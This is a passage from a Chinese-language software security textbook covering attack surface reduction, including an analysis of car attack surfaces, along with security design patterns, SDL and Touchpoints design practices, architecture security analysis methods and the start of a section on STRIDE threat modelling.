软件受攻击面指的是用户以及潜在的攻击者都能够访问到的所有功能和代码的总和，它是一个混合体，不仅包括代码、接口、服务，也包括对所有用户提供服务的协议，尤其是那些未被验证的或远程用户都可以访问到的协议。攻击面即用户或其他程序可以访问应用程序的所有入口点，每个入口点都有被恶意用户利用的可能。不同的访问方式会导致不同的攻击面。一个软件的攻击面越大，安全风险就越大。减少攻击面（Reduce Your Attack Surface）就是去除、禁止一切不需要使用的模块、协议和服务，其目的是减少攻击可以利用的漏洞，一般可以采取以下步骤。首先，分析产品功能的重要性，即某些模块、协议等是否有必要保留；其次，分析从哪里可以访问这些功能，从而了解到需要对什么进行控制；最后，采取合理措施来降低受攻击面。

降低受攻击面对于提高软件安全性至关重要。设计时一般采取以下策略：重要等级为低的功能攻击面大，取消该功能；重要等级为中的功能攻击面大，设置为非默认开启，需要用户配置后才予以开启；重要等级为高的功能攻击面大，关闭或限制一些接口方式，增加一些安全的保证措施或技术。表3-2给出了较高受攻击面和较低受攻击面的对比。

表3-2　较高受攻击面和较低受攻击面对比

[image: ]


近年来，汽车开始大量应用信息技术，汽车电子控制单元（Electronic Control Units，ECU）又称车载电脑，得到大量应用。一辆普通的汽车大概包含20~100个ECU，有些汽车甚至安装有100多个ECU。这些ECU之间需要相互传递数据，ECU根据数据内容来确定接下来的操作。有些ECU不仅与汽车内部网络进行通信，而且也与外部周围进行数据交换。某些ECU的源代码接近1000万行，汽车正成为一个安装有大规模软件的信息系统，信息安全问题不可小视。

汽车远程攻击面分析对象包括被动防盗系统、胎压监测系统、蓝牙、车载通讯系统/蜂窝移动通信/Wi-Fi以及Internet/车载应用等。

（1）被动防盗系统（Passive Anti-Theft System，PATS）

汽车在启动之初，钥匙中贮存的一块微芯片通过射频信号（RF signal）与汽车中的某个ECU进行通信，只有在双方完成认证之后，才会开启油泵等部件启动汽车。它的攻击范围为10cm，虽然可以受到拒绝服务攻击，但是对于远程攻击，因其距离短、代码结构简单、没有可利用的漏洞，其受攻击面非常小。

（2）胎压监测系统（Tire Pressure Monitoring System，TPMS）

汽车的每个轮胎中都存放有一个压力传感器，用来实时监测汽车轮胎压力，并通过无线信号将数据传送给ECU。它的攻击范围为1m，使汽车认为轮胎发生了问题。研究表明，在某些情况下还可以使相关的ECU崩溃。但是多数情况下，TPMS并不连接至汽车内部网络，而且其只负责汽车仪表盘上一个指示灯，所以受攻击面较小。

（3）蓝牙

汽车中ECU通过蓝牙与外部设备进行同步通信，如访问手机中的电话簿、打电话、访问手机文件等操作。它的攻击范围为10m，也可能根据协议及天线而不同。由于蓝牙协议栈的复杂和庞大，导致过去几年其面临严重安全问题。蓝牙在运用时大致分为两类：无需配对蓝牙和需要配对蓝牙。有研究者已经展示过如何通过蓝牙接口远程攻击汽车，在汽车的蓝牙接收器中找到了许多崩溃点，所以受攻击面大。

（4）车载通讯系统/蜂窝移动通信/Wi-Fi

许多现代汽车可以接入蜂窝网络，如通用公司的安吉星系统，利用该系统可以获取交通、天气等信息。还有一些较新的汽车，可以提供Wi-Fi热点服务。因为蜂窝网络使得汽车的受攻击范围不受限制，即使车载通讯模块不直接连接在CAN总线上，它也可以远程传输数据/声音。已有研究者实现了对车载通讯单元进行远程攻击。所以它的受攻击面非常大。

（5）Internet/车载应用

汽车已经具备越来越多的桌面计算机的功能，如连接至Internet、各种应用程序、甚至Web浏览器。它的攻击范围也是不限的，因为现有关于Internet、应用程序的攻击方法同样适用于汽车。越来越多的复杂代码加入汽车中以增加汽车功能，相应的防护措施却没有增加，所以其受攻击面较大。

设计汽车控制系统时，应该尽量减少攻击面，尽可能关闭无用服务，防止CAN总线的消息注入，增加消息加密功能，并对汽车内部网络结构进行重新设计。首先，在设计上应遵循最小特权原则，必须严格控制对蓝牙、Wi-Fi和网络功能的访问，默认情况应关闭蓝牙、Wi-Fi和网络功能，用户需要时再开启。关闭这些功能可以从物理上隔离外界与汽车控制系统的连接，从而减少被攻击的可能。其次，汽车和各电子零部件在工作时，各控制系统和各电子零部件系统都要对已进入量产的汽车和电子零部件内的重要数据信息或程序代码进行校验。此外，对于传输的数据，还可以增加容错、加/解密等多种措施。


3.2　软件安全设计方法

设计模式首先运用于软件设计，该思想应用在安全领域，最终形成了一套基于模式的安全设计方法。本节将介绍基于模式的软件安全设计方法，以及三种广泛应用于产业界的软件安全设计方法。


3.2.1　基于模式的软件安全设计

建筑师Christopher Alexander在1977到1979年提出了设计模式的思想，Kent Beck和Ward Cunningham在1987年将设计模式思想应用在Smalltalk图形用户接口生成中，一年后Erich Gamma尝试把这种思想应用于软件开发。1991年，Erich Gamma，Richard Helm和Ralph Johnson等合作出版了《设计模式可复用面向对象软件的基础》（《Design Patterns-Elements of Reusable Object-Oriented Software》）一书，提出了23种设计模式。

设计模式的使用开创了一个快速解决相同问题的方式，后来研究人员开始将设计模式应用到安全设计领域。1997年，Joseph Yoder和Jeffrey Barcalow发表了第一篇阐释软件安全模式的论文《确保应用程序安全性的架构模式》（《Architectural Patterns for Enabling Application Security》）。近几年，在早期Joseph Yoder，Jeffrey Barcalow等人的研究基础上，安全设计模式研究得到了更多发展。本节将详细介绍2009年卡内基梅隆大学Chad Dougherty，Kirk Sayre和Robert C.Seacord等人在《安全设计模式》中总结的安全模式。

1.软件设计模式

设计模式是对软件设计中普遍存在、反复出现的各种问题，根据多次处理的经验，提出的一套能够快速、准确响应此类问题的解决方案。设计模式描述在各种不同情况下，应如何解决共性问题。设计模式特指软件“设计”层次上的问题。具体算法不属于设计模式考虑的范畴，因为算法主要解决计算上的问题，而非设计上的问题。

按照《设计模式可复用面向对象软件的基础》一书的观点，根据要解决的问题，设计模式可以分为创建型模式、结构型模式和行为型模式，在每一类模式下面又可以细分为多个模式。创建型模式解决在不指定对象具体类型的情况下创建对象的问题，可以分为抽象工厂模式、工厂方法模式、生成器模式、单例模式、多例模式等；结构型模式是按照事物的结构特点进行设计，可以分为适配器模式、桥接模式、外观模式等；行为型模式是按照人们的行为进行设计，可以分为命令模式、策略模式、模板方法模式、访问者模式等。

2.安全设计模式

近年来，模式方法用于解决某种通用问题，已经在多个领域被广泛研究和使用，其中也包括软件安全领域。Markus Schumacher和Utz Roedig在《使用模式的安全工程》（《Security Engineering with Patterns》）一文中将软件安全模式定义为：描述一个在特定环境中重复出现的特定安全问题，并为之提供一个良好的通用解决方案。

早期安全模式研究的主要代表是Joseph Yoder，Eduardo B.Fernandez等人。Joseph Yoder和Jeffrey Barcalow在《确保应用程序安全性的架构模式》一文中，提出单一访问点、检查点、角色、会议、错误全览及限制视野等安全模式。下面简要说明它们的原理与特点。

（1）单一访问点模式

用于阻止外部实体直接与系统组件交互，所有外部访问都需要通过可被监控的统一通道。如果外部实体访问接入点过多，将增加软件抵御外部攻击的难度。此外，单一访问点还可用于软件系统的访问控制。

（2）检查点模式

指定一个专门组件检查与软件内组件的交互活动，如组件是否有权执行请求的操作，软件系统可用性是否受到影响。

（3）会议模式

许多软件的全局信息需要在不同地方使用，特别是在分布式、多用户或多线程环境下，软件中安全相关代码需要当前用户的信息。用户成功登录系统后，可以在检查点创建一个会话对象，会话对象将保存用户的角色、特权或验证数据等信息。软件系统可以通过检查会话对象的特权信息，来判断是否授予用户操作权。

与Yoder和Barcalow提出的安全模式相比，Fernandez设计的安全模式处于一个比较高的抽象层次，是对Yoder和Barcalow工作的补充。Fernandez安全模式主要包括企业安全和风险管理模式、身份识别和认证模式、访问控制模型模式、系统访问控制体系结构模式、操作系统访问控制模式、统计模式、防火墙体系结构模式、安全Internet应用程序模式、密钥管理模式和相关安全模式库模式。其中，企业安全和风险管理模式与商业管理方法相结合，得到广泛应用。

企业级安全和风险管理模式表述了企业级安全问题。假定某企业有许多职责和任务，并且希望处理与任务相关的安全问题。该模式可应用于整个企业的所有系统、操作策略、命令或约束。该模式的实施步骤是：首先，需要对企业资产进行识别，评估资产价值，分析可能面临的威胁及企业系统可能存在的漏洞；然后，确定企业面临的风险；最后，制定出企业需要的安全保护措施与安全服务。

按照《安全设计模式》中总结的安全模式，从软件开发的角度，现在常用的安全模式可以分为架构级模式、设计级模式和实施级模式。

（1）架构级模式

该模式可以分为不信任分解、特权分离和推迟到内核（Defer to Kernel）三种类型。

·不信任分解模式的目的是为了让独立的功能模块相互之间不信任，从而减少系统独立程序的受攻击面，以及当有相互不信任的程序被攻破时，暴露给攻击者的功能和数据。

·特权分离模式的目的是在不影响或限制程序功能的前提下，减少以特权权限运行的代码数量。

·推迟到内核模式是为了清晰地分离需要提升特权的功能和不需要提升特权的功能，并使用现有的用户验证内核功能，利用内核已经建立的仲裁安全决策，而不是在用户级使用仲裁安全决策的方法。

（2）设计级模式

设计级模式可以分为安全工厂模式（Secure Factory）、安全策略工厂模式（Secure Strategy Factory）、安全构建器工厂模式（Secure Builder Factory）、责任安全链模式（Secure Chain of Responsibility）、安全状态机器模式（Secure State Machine）和安全访问者模式（Secure Visitor）等。

·安全工厂模式下，访问者可以通过安全工厂模式给予合法对象一个安全凭证，而反过来，安全工厂模式能够对已经给定的安全凭证来选择和返回跟这个凭证对应的对象。

·安全策略工厂模式的目的是选择适当的策略对象来执行基于用户安全凭据的任务，是安全工厂模式的扩展。

·安全构建器工厂模式的目的是从创建对象的基本步骤里，分离出涉及创建复杂对象的操作。

·责任安全链模式主要是在应用要求的功能函数中，分离出用户信赖或者环境信赖的功能函数，并且简化这些功能。

·安全状态机器模式是将安全性功能函数和用户级功能函数实现为两个单独的状态，使安全机制和用户功能之间有一个清晰的分离。

·安全访问者模式是指，安全系统可能需要在层次结构化数据上执行各种操作，数据层次结构中的每个节点可能有不同的访问限制，不同用户的数据访问权限依赖于角色/安全凭据。安全访问者模式允许给节点加锁，以免遭受非法访问，除非访问者提供正确的安全凭证解锁节点。

（3）实施级模式

实施级模式主要有安全日志（Secure Logger）、清除敏感信息（Clear Sensitive Information）、安全目录（Secure Directory）、路径名规范化（Pathname Canonicalization）、输入验证（Input Validation）、资源获取初始化（Resource Acquisition Is Initialization，RAII）等模式。

·安全日志能防止攻击者从系统日志中收集有用的系统信息，阻止攻击者通过编辑系统日志隐藏自己的行为。

·清除敏感信息是指在释放资源可重用之前，清除敏感信息，防止存储在一个可重用资源中的敏感信息被用户或对手未经授权的访问，该模式确保存在于可重用资源中的敏感信息在重用之前被彻底清除。

·安全目录模式确保攻击者无法操作程序执行期间使用的文件。

·路径名规范化模式保证所有被程序读或写的文件通过一个有效的、不包含任何符号链接或快捷方式的路径访问，也就是规范化的路径名。

·输入验证模式是指验证输入数据的正确性。它要求开发人员正确识别和验证所有外部输入的不可信数据源。

·资源获取初始化模式通过执行处理资源分配和回收对象的构造、析构等函数，保证系统资源在所有可能的程序执行路径下合理地分配和收回。


3.2.2　安全设计方法实践

1.SDL的安全设计方法

SDL强调在软件设计阶段就考虑安全问题，并且说明如何采用安全设计原则来降低软件的受攻击面，其安全设计强调受攻击面分析（Attack Surface Analysis，ASA）和减少受攻击面（Attack Surface Reduction，ASR）。ASA就是枚举所有的接口、协议以及可执行代码的过程；ASR侧重于降低默认执行的代码量，限制可访问到代码的人员范围，限定访问代码的人员身份。

分析软件受攻击面应当遵循的步骤如图3-1所示。开发一个软件产品时，首先应该考虑它实现的所有功能，并分析是不是大多数用户都需要此功能，如果不是，可以关闭该功能，或者不安装，或者默认设置为禁用。例如，微软Windows 2000中自带的Web服务器软件IIS 5.0是默认安装的，分析后发现该软件不用默认安装，所以在Windows Server 2003中IIS 6.0并未默认安装。在Windows 2000中，IIS 5.0启动后将默认启动WebDAV，而在Windows Server 2003中，运行IIS 6.0后必须手动设置才能启动WebDAV。2004年，WebDAV XML Message Handler中存在拒绝服务漏洞被发现，该漏洞对Windows 2000用户的危害程度为严重，对Windows server 2003用户的危害程度为中等。

接着，分析可以从哪些位置或途径访问这些软件功能，匿名远程访问功能一定比只有本地管理员才能访问的功能受攻击面广。例如，2005年爆出的Sasser蠕虫对Windows 2000和Windows XP的影响远比Windows Server 2003严重，这是因为在Windows 2000和Windows XP中，蠕虫访问的网络接口任意匿名用户都可以访问，而在Windows Server 2003中该网络接口只有本地管理员才能访问。设计者应当认真权衡决定应用中的每一个功能，谁（匿名用户、用户或一个特定用户组、管理员）可以在默认情况下，还是要求必须通过身份认证和授权，从哪里（远程、远程受限于一个特定的地址范围或子网的方式、仅本地地址）访问。

服务、守护进程等长时间运行的进程必要时应降低特权。在本地以系统或root权限运行的有漏洞的进程一旦被利用，极有可能造成灾难性后果，可以将一个应用按照特权级别分割成多个进程，低特权进程处理未经信任的用户请求，高特权进程处理管理类任务，减少高特权代码的潜在威胁。

2.七个接触点中的安全设计方法

著名安全工程师Gary McGraw提出的七个接触点方法，能够应用于软件开发生命周期的不同阶段。与其他软件安全开发方法不同，接触点与软件生命周期各阶段的工作绑定，因此适用于瀑布模型等线性软件开发模型，以及螺旋模型这类渐进式模型中的软件安全开发。
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图3-1　攻击面分析应遵守的步骤

该方法认为，在设计阶段应该使用文档记录各种前提假设，确定可能的攻击，对系统架构进行风险分析，发现系统设计中潜在的安全问题，并进行风险等级评估，然后采取措施降低风险。

在风险分析过程中，应该考虑如下因素：可能对系统造成攻击的威胁，出现在每个层次环境中的风险，可能存在于每一个组件和数据流中的脆弱点，已知技术风险可能造成的商业影响，正在研究的风险发生的可能性，在所有可用的保护机制中是否存在能在每一层中实现的应对风险的有效措施，如，从基础操作系统级安全到虚拟机的安全机制，像在J2EE中使用Java加密扩展之类的机制。风险分析可以用于评价软件安全设计的有效性，在设计过程充分应用风险分析方法，有利于提高软件系统的安全性，降低风险可能造成的经济损失。

3.IBM的安全设计方法

IBM软件安全开发周期中的设计阶段包含需求创建和应用架构设计，其将安全开发工作整合到安全工具集——IBM Rational中，可以直接在软件开发生命周期的不同环节部署使用该工具，在各个阶段引入相应的安全开发工作，以实现安全开发生命周期，使得最终产品的安全性可以得到显著增强。IBM Rational包含一系列开发工具，其中，以下IBM Rational工具在软件安全设计阶段得到了广泛使用。

·Rational Software Architect利用UML为模型驱动开发提供整合设计和开发支持。

·Rational Software Modeler支持UML可视化建模/设计，从不同的视图编制系统文档。

·Rational Rose Technical Develop提供模型驱动开发工具。

·Rational Professional Bundle提供企业级桌面工具，以便设计、构建和测试J2EE/门户/面向服务的应用程序。

Rational Application Developer for WebSphere Software用于架构和建模、模型驱动开发、组件、组件测试、运行时分析活动的工具。


3.3　软件架构安全性分析

软件架构设计对于开发高质量软件具有较大作用，架构设计将定义软件模块、模块间交互、用户界面风格、对外接口以及高层事物对象操作、逻辑和流程。软件架构可以分为三类：逻辑架构、物理架构和系统架构。其中，逻辑架构描述软件系统中元件之间的关系，比如用户界面、数据库、外部系统接口等等；物理架构描述软件部件在硬件上的部署方式；系统架构说明系统的非功能性特征，如可扩展性、可靠性、强壮性、灵活性、性能等等。

架构视图是软件架构的重要组成部分。它是整体设计的抽象或简化，通过舍弃具体细节来突出重要特征。软件架构由许多不同的架构视图来表示，每种架构视图用于表示开发流程中最终用户、设计人员、管理人员、系统工程师、维护人员等相关人员所关注的内容。

一般而言，软件架构的设计首先需要理清业务逻辑的功能要求，了解业务逻辑的变化性要求，包括可维护性和可扩展性，分离出概要业务逻辑层。接着，设计业务逻辑层和系统其他部分的接口与交互关系，按照职责分离原则设计包、类、方法、消息，设计业务逻辑算法。然后，使用自底向上和自顶向下相结合的方式，不断渐进地迭代架构设计。


3.3.1　软件架构的安全性

随着软件技术的进步和安全理论的逐渐发展，目前，软件架构设计的安全性主要考虑安全威胁、安全机制、安全设计、访问控制和安全通道等方面。

安全威胁主要包括机密性威胁、可用性威胁、完整性威胁和真实性威胁。其中，机密性威胁指的是未经授权的用户获得了对一项服务或数据的访问权；可用性威胁是指可能导致服务或者数据难以获得、不能使用；完整性威胁是指在未经授权的情况下纂改数据和服务；真实性威胁是指通过伪造等方法，产生不存在的数据和服务。

安全机制是指在软件设计中确保安全的机制和方法，包括加密、身份验证、授权和审计。其中，加密是指将数据转换成攻击者不能理解的形式；身份验证用于验证客户、用户、服务器等所申明的身份；授权是给予访问资源所需的适当（最小）权限；审计指的是追踪访问内容和形式。

安全设计需要考虑以下三个问题：控制焦点、安全机制分层和简洁性。控制焦点关注对应用程序相关数据的保护，访问特定数据或资源时，通过指定可以调用的操作以及操作由谁完成来实施保护措施，限定特定用户或角色访问该应用程序。安全机制分层解决安全机制应该在哪一层实现的问题。简洁性强调设计的实现必须简洁明了。

除上述架构设计中存在的安全问题外，通常还需要检验主体对客体的访问权限，即访问控制，主要技术包括访问控制矩阵、黑白名单等方法。分布式系统需要保持客户和服务器之间的通信安全，安全通道需要对通信各方进行身份验证，并保证消息的完整性和机密性；分布式系统应解决授权问题，服务器一旦接受来自客户的请求，它将查明该客户是否得到授权执行请求的操作。

软件安全架构设计首先需要进行系统描述，包括系统功能、安全要求、系统部署和技术需求，确定软件系统的安全级别。接着，设计软件网络、数据库等应具备的安全功能，根据不同软件的具体安全需求，设计的安全功能包括访问控制矩阵、访问控制组、角色委派、强制访问控制、加密和数字签名策略以及安全管理。在安全架构设计过程中，还需要解决软件安全功能的易用性、可维护性和独立性问题。


3.3.2　软件架构安全分析方法

软件架构安全性分析需要先进行架构建模，描述软件的安全需求或安全机制，检查架构模型是否满足安全需求，如果不满足，需要修改设计架构，如此反复，直至满足所有安全需求。软件架构分析原理如图3-2所示。为了便于自动化检查，软件架构和安全需求建模/描述时应使用相同的标准，即得到的模型形式相同。
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图3-2　软件架构分析原理

目前，国内外关于软件架构安全性分析的理论和应用研究还处于探索阶段。软件架构安全性分析可以分为形式化和工程化两类分析方法。前者使用形式化方法描述软件架构和安全需求，最终的分析结果精确、可量化，且自动化程度高，但实用性较差；后者从攻击者的角度考虑软件面临的安全问题，实用性强，自动化程度较低。

1.形式化分析技术

形式化分析主要包括UMLsec建模描述分析法、软件架构模型法（Software Architectural Model，SAM）、离散时间马尔科夫链（Discrete Time Markov Chain，DTMC）安全可靠性模型方法和卡耐基梅隆大学提出的ACME组件系统架构描述法等。本节选取UMLsec建模描述分析方法和软件架构模型法进行说明。

（1）UMLsec建模描述分析法

统一建模语言UML是用于描述面向对象软件的实际行业标准，UMLsec是Jan Jürjens在2002年提出的基于UML的安全扩展，包含用例图、实图、类图、状态图、顺序图、活动图、部署图和子系统。

用例图通过描述用户与软件的典型交互，对软件提供的功能进行抽象视图描述，是在软件设计之前与用户协商时采用的一种方法。类图定义系统的静态类结构，即类（包括属性、操作和信号）及类之间的关系。在实例层面上，相应的图叫作对象图。状态图描述一个独立对象或组件的动态行为，事件可以引发的状态变化或动作行为。顺序图描述对象或者系统组件之间（特别是方法调用）传递消息的交互过程。活动图描述软件中若干组件之间的控制流，通常处于比状态图和顺序图更高的抽象层次上，可以将对象和组件放在整个系统行为的具体环境中，或者用于更详细的解释用例。部署图描述系统软件组件到系统硬件物理结构的映射。子系统（一种特殊的包）集成不同类型图之间和系统规范的不同部分之间的信息。

当采用面向对象技术设计软件时，首先要描述需求，其次根据需求建立软件的静态模型，以构造软件的结构，第三步是描述软件行为。其中，在第一步与第二步中所建立的模型都是静态的，包括用例图、类图（包含包）、对象图、组件图和配置图等，是标准建模语言UML的静态建模机制。第三步中建立的模型或者可以执行，或者表示执行时的时序状态或交互关系。它包括状态图、活动图、顺序图和合作图等，是标准建模语言UML的动态建模机制。

UMLsec使用用例图获取安全需求，使用活动图的安全交易过程，使用部署图的物理安全，使用顺序图的安全交互过程，使用状态图的安全状态，达到描述软件实现安全建模的目的。UMLsec适用于构造应用软件的安全架构分析，其特点是实用程度高且具有一定的自动化工具支持。

（2）软件架构模型法

SAM是Rajeshwari G和Santonu Sarkar在2005年提出的，该方法使用谓词/迁移Petri网描述架构基本元素，使用一阶时序逻辑描述安全约束，通过一系列形式化验证和分析方法判定基本元素是否满足安全约束。SAM使用模型检查、约束求解、定理证明、可达性分析等方法，能够实现自动化分析，架构描述能力强，但其表示较为复杂，实用性不强。

SAM结构化分析方法是目前进行软件设计开发过程中常用的一种系统化分析方法，它使用结构、辅助思维、运用逻辑树、流程图模块等工具，对大型数据或复杂系统层层分解，将大问题分解成小问题，把复杂问题分解到可以解决的程度，使模糊问题分解明朗化。SAM结构化分析方法的基本特点是自上而下，从大到小，逐层分解，采用简明易懂、直观的描述方式，按照系统内部信息的传递、因果关系，由顶向下逐层分解，直到所有信息都足够清晰、简单，不必再分。

2.工程化分析技术

软件架构的工程化分析主要包括场景分析法、错误用例分析法和威胁建模。

（1）场景分析法

1995年，Rick Kazman，Gregory Abowd和Len Bass等在《基于场景的软件架构分析》（《Scenario-Based Analysis of Software Architecture》）一文中提出了场景分析法。该方法以软件架构分析方法（Scenarios-based Architecture Analysis Method，SAAM）和架构权衡分析方法（Architecture Tradeoff Analysis Method，ATAM）为基础。SAAM通过构造一组领域驱动的场景，即不同角色在系统中遇到的不同任务来反映软件质量。ATAM分析软件架构不同方面满足需求的程度，通过权衡内部互利互斥关系形成最优体系。

场景分析法使用场景描述与软件架构静态结构和动态行为相关的安全属性，从用户角度建立相应的场景库和评价指标树，并采用评审会议方式分析架构安全性，是一种轻量级的分析方法。

基于场景的软件架构分析方法步骤如图3-3所示。首先，分析问题，建立功能场景库。接着，通过功能场景库测试评价软件架构对各安全功能的支持度，并对支持度差的功能进行架构分析。在此过程中，可以按照以下思路对安全功能的支持度评级。
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图3-3　基于场景分析过程

A级：架构实现了某项功能，即能够满足场景库中相应的场景，表明该架构完全支持该项功能。

B级：功能没有实现，但是容易扩展。

C级：功能没有实现，且不易扩展，要实现该功能需要修改架构或添加复杂的构件，可能与现有架构冲突。一旦出现这种情况，应该重新考察原有架构设计的合理性。

除了安全功能分析外，还需要分析非功能的安全性。建立非功能指标参数树，选择一组非功能性指标，如可移植性、安全性等，并详细定义每一个指标的衡量属性、期望值和相应场景。通过比较架构在场景中的实际输出值和期望值，来评价架构对各个指标属性的支持度，并在该过程中发现软件架构的缺陷。

（2）错误用例分析法

1999年，John McDermott和Chris Fox在《安全需求分析的错误用例模型》（《Using Abuse Case Models for Security Requirements Analysis》）一文中提出错误用例分析法，并得到广泛使用。错误用例是指用户在与软件交互过程中，对其他用户、软件本身及其他利益相关者造成损失的一系列行为。错误用例分析法通过检查软件架构对每个错误用例如何反应，来判断架构是否满足安全需求。在软件开发过程中，一般是在需求分析阶段使用UML视图来展示错误用例。本方法主要是利用错误用例评估软件架构是否诠释了软件所需的安全特征。

错误用例分析首先需要确定用户及其行为，识别系统及用户在正常操作时的任务。接着，找出用例和错误用例，由于错误使用的情况会给软件正常运行造成威胁，因此可以使用错误例图来描述正常使用和错误使用情况，也可以根据经验和资料增加一些用例。根据用例进行架构设计，并根据错误用例来分析并评估架构的安全性。由于用例可能产生多个备选架构，因此需要使用错误用例及用例分析每个架构的劣势和优势，形成一个最佳架构。从不同角度比较不同架构并及时做出调整，可以得到易于理解且最合适的架构。从全面、完整的例子出发，评价预防和阻止错误用例发生的安全机制，以此评估软件是否达到安全目标。

错误用例分析方法的最大优势是提供了从需求分析到高层架构设计的操作过程，同时错误用例还直接指导了架构的安全设计过程，提高了安全问题的可视化，并且不依赖于某种特定的架构描述语言，由于需要人工评审，不能进行自动化分析。

（3）STRIDE威胁建模法

STRIDE威胁建模是由微软公司提出可用于架构设计安全性分析的方法。该方法可通过建立分层应用程序数据流图，标识应用程序入口点和信任边界来刻画出整个软件架构，通过建立威胁模型分析欺骗（Spoofing）、篡改（Tampering）、否认（Repudiation）、信息泄露（Information Disclosure）、拒绝服务（Denial of Service）和特权提升（Elevation of Privilege）六类威胁（STRIDE）的风险等级，指导软件架构的安全设计，并指导后续开发工作。

威胁建模不是一种形式化的架构安全性分析方法。它使得应用程序的安全分析过程不依赖于直觉，更加系统全面，缺乏安全分析经验的工作人员也能使用该方法对软件的安全强度进行有效分析与评估。

威胁建模应当在应用程序设计的早期启动，并且贯穿于整个应用程序的生命周期。所有潜在威胁不可能一次性识别，同时应用程序需要不断增强其功能并做出调整，以适应不断变化的需求，因此，随着应用程序的发展，应当重复执行威胁建模过程。

（4）工程化方法总结

场景分析法、错误用例分析法、威胁建模是非形式化的软件架构安全性描述和分析方法。这三种方法从攻击者的角度考虑软件面临的安全问题，实用性强，但自动化程度较低，相对而言，威胁建模方法实用程度较高。表3-3是三种工程化方法的对比总结。

表3-3　三种工程化方法对比

[image: ]



3.4　威胁建模

在前面提到的各种安全设计方法中，STRIDE威胁建模方法得到了广泛使用。该方法贯穿于风险分析流程，安全需求分析和安全设计相互融合。STRIDE威胁建模不仅可以应用于安全设计，也可用于后续安全开发环节。

威胁是潜在的会出现不利结果的事件，如信息泄露或拒绝服务等。威胁建模是了解系统面临的安全威胁，确定威胁的风险等级，并通过适当的缓解措施来提高系统安全性的过程。威胁建模以一种规范化的方式来考虑应用程序的安全性，能帮助软件开发人员在设计阶段充分了解各种安全威胁，对可能的风险进行管理，并指导其选择适当的应对措施，降低软件的受攻击面。该方法还可以重新验证软件架构和设计的安全性，查缺补漏，发现其他方式难以检测的、由一系列小错误形成的复杂缺陷，使系统更加健壮。

在威胁建模过程中起主导作用的是软件设计者、开发人员和测试人员。威胁建模的对象并不一定是一个完整的软件。根据需求的不同，建模对象可以是整个应用、安全和隐私相关的功能、跨信任边界的功能，等等。

威胁建模的过程如图3-4所示，分为建模、威胁识别、威胁缓解和验证四个步骤。每个步骤都有多种实现方法，可以根据需求选择使用合适的方法。


3.4.1　建模

建模是对软件进行抽象，数据流图、统一UML图表、泳道图和状态图等都可用于软件建模。下面将重点介绍数据流图建模过程。数据流图建模过程的主要步骤包括定义应用场景、收集外部依赖、定义安全假设、创建外部安全备注和绘制数据流图。其中绘制数据流图是建模过程的重点，其余步骤都是为绘制正确的数据流图做准备。

[image: ]


图3-4　威胁建模的过程

定义应用场景是为了明确应用或系统的关键威胁场景，包括部署方式、配置信息、用户使用方式。收集外部依赖是收集应用或系统所依赖的外部产品、功能或服务信息。典型外部依赖包括操作系统、数据库、Web服务器、应用服务器。安全假设即采用来自其他功能组件所提供的安全服务假设，定义安全假设是为了对应用所依赖的系统环境做出准确的安全假设。创建安全备注是为了让与产品相关的用户或其他应用的设计者都可以利用外部安全备注，辅助理解应用的安全边界，以及在使用应用时应如何保障安全不受侵害。

完成上述工作后，就可以绘制准确的数据流图了。数据流图是描述系统的一种方法，是威胁建模的重要产物，它使用易于理解的一种图形表示工具分析系统或应用可能面临的攻击。威胁建模时，一般为每个场景创建一个数据流图，当产品功能发生变化时，要及时更新数据流图，数据流图的元素及其含义如表3-4所示。

表3-4　数据流图的元素及其含义
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建模首先确定要分析的应用程序边界或作用范围，确定可信任部分与不可信任部分的界限。在数据流图中创建和命名实体应遵循以下规则：一个过程必须至少有一个数据流流入和一个数据流流出；所有的数据流都从某个过程开始，到某个过程结束；数据存储通过数据流与过程相连；数据存储不能直接连接，必须通过过程相连。


3.4.2　威胁识别

建模完成后，进入威胁识别过程。威胁识别方法包括STRIDE方法、攻击树、攻击库等。本节将主要介绍STRIDE威胁识别方法。该方法分析各个数据流及其关联的资产是否受到S、T、R、I、D、E威胁的影响，识别并记录这些威胁，然后使用DREAD方法对威胁进行量化分析，评估可能造成的危害程度。

1.威胁发现

STRIDE威胁识别是一种基于目标的方法，在这里考虑的是攻击者的目标。STRIDE是Spoofing（假冒）、Tampering（篡改）、Repudiation（抵赖）、Information Disclosure（信息泄露）、Denial of Service（拒绝服务）和Elevation of Privilege（权限提升）的首字母缩略词，也就是把威胁分为上述6类，帮助建模者发现威胁。例如，攻击者可以假冒身份访问服务器或Web应用程序吗？某人能够篡改网络上或者存储区中的数据吗？某人可以拒绝服务吗？

假冒是指攻击者冒充一个用户，或者恶意服务器冒充合法服务器。如果用户A可以在HTTP认证头里看到用户B的用户名和口令，A就可以使用B的用户名和口令访问受保护的数据。数据篡改是指在未授权的情况下，永久地修改数据。抵赖是指用户拒绝承认从事过的某项活动，并且无法证明他是在抵赖。信息泄露是指信息被暴露给不允许对它访问的人。如用户读到了非授权访问的文件，入侵者可以获取两台计算机之间传输的数据。拒绝服务攻击是指拒绝为合法用户提供请求的服务。权限提升是指没有权限的用户获得访问特权，可以对系统实施破坏性操作。

在建模中，你定义了应用程序的体系结构、数据流和信任边界，在复杂的系统中，还可以创建一个安全配置文件，用来说明应用程序如何处理核心区域，例如，身份验证、授权、配置管理以及其他区域。现在，我们主要考虑数据流图中实体，过程和数据存储之间的关系，然后使用STRIDE威胁种类与预定义的威胁列表来仔细检查应用程序的安全配置文件，集中考虑应用程序威胁、技术特有的威胁和代码威胁。

STRIDE是非常有用的助记符，它有一些扩展，可以弥补STRIDE的一些弱点。

·STRIDE-per-Element

STRIDE-per-Element使得STRIDE更加规范，通过关注每一个元素的一系列威胁，可以更容易地找到威胁。例如，微软用表3-5作为其安全开发生命周期（SDL）威胁建模的核心部分。

表3-5　STRIDE-per-Element
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利用这个表格，可以分析攻击者是如何篡改、读取数据或阻止访问数据流。如果数据在网上传输，在同一个网络的人可以读取、修改所有数据内容，或者发送大量数据包导致超时。上面表格中“否认”栏中的“？”意思是解决这个问题涉及日志数据存储，并且有时候日志记录会受到特殊攻击而允许否认攻击。

STRIDE-per-Element方法具有较好的规范性，它能帮助你确定寻找什么威胁，利用这些元素寻找组件中的脆弱点。不太熟悉此方法的人，仍然可以用其来寻找很多通用的问题。该方法有两个弱点：首先，在一个给定的威胁模型中，类似的问题会反复出现；其次，这个表格并不能描述所有问题。

·STRIDE-per-Interaction

